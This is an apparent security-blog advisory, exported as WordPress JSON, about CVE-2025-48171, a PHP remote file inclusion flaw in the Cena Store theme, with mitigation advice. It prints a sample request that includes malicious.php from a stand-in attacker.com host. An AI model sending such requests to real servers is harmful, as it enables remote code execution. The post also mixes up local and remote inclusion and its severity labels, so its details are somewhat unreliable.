{"id":71663,"date":"2025-09-06T03:59:02","date_gmt":"2025-09-06T03:59:02","guid":{"rendered":""},"modified":"2025-10-21T17:37:16","modified_gmt":"2025-10-21T23:37:16","slug":"cve-2025-48171-php-remote-file-inclusion-vulnerability-in-cena-store","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48171-php-remote-file-inclusion-vulnerability-in-cena-store\/","title":{"rendered":"CVE-2025-48171: PHP Remote File Inclusion Vulnerability in Cena Store<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-48171 is a critical vulnerability that affects the Cena Store application developed by thembay. This vulnerability is due to improper control of the filename for include\/require statements in the PHP program. This allows malicious actors to exploit the PHP Local File Inclusion (LFI), leading to potential system compromise or data<\/a> leakage.
\nAs the Cena Store application is widely used in various e-commerce platforms, the impact of this vulnerability<\/a> can be widespread, potentially affecting numerous online stores and their users. Thus, it is highly important to understand this vulnerability<\/a> and implement the recommended mitigation measures.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-48171
\nSeverity: High (8.1 CVSS score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Cena Store by thembay | n\/a through 2.11.26<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises from the improper control<\/a> of filename for include\/require statements in the PHP program, specifically within the Cena Store application. This improper control allows an attacker to include a file from a remote<\/a> server, which can contain malicious code.
\nThe attacker can exploit this vulnerability by sending a specially crafted request<\/a> to the server hosting the Cena Store application. The server then processes this request, leading to the inclusion of the remote file and execution of the malicious code<\/a>.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a hypothetical example of how the vulnerability might be exploited.<\/p>\n

GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: vulnerable-cena-store.com<\/code><\/pre>\n
The above request tells the server to fetch the file<\/a> `malicious.php` from `attacker.com` and include it in `index.php`. This effectively allows the attacker to execute arbitrary PHP code on the server, leading to potential system<\/a> compromise or data leakage.<\/p>\n
Mitigation and Recommendations<\/strong><\/p>\n
To mitigate this vulnerability, it is recommended that users of the affected Cena Store versions immediately apply the vendor provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
\nIn addition, it’s also advisable to regularly update and patch all software to prevent exploitation of known vulnerabilities<\/a>. Regular security audits and code reviews can also go a long way in ensuring the security of your systems<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
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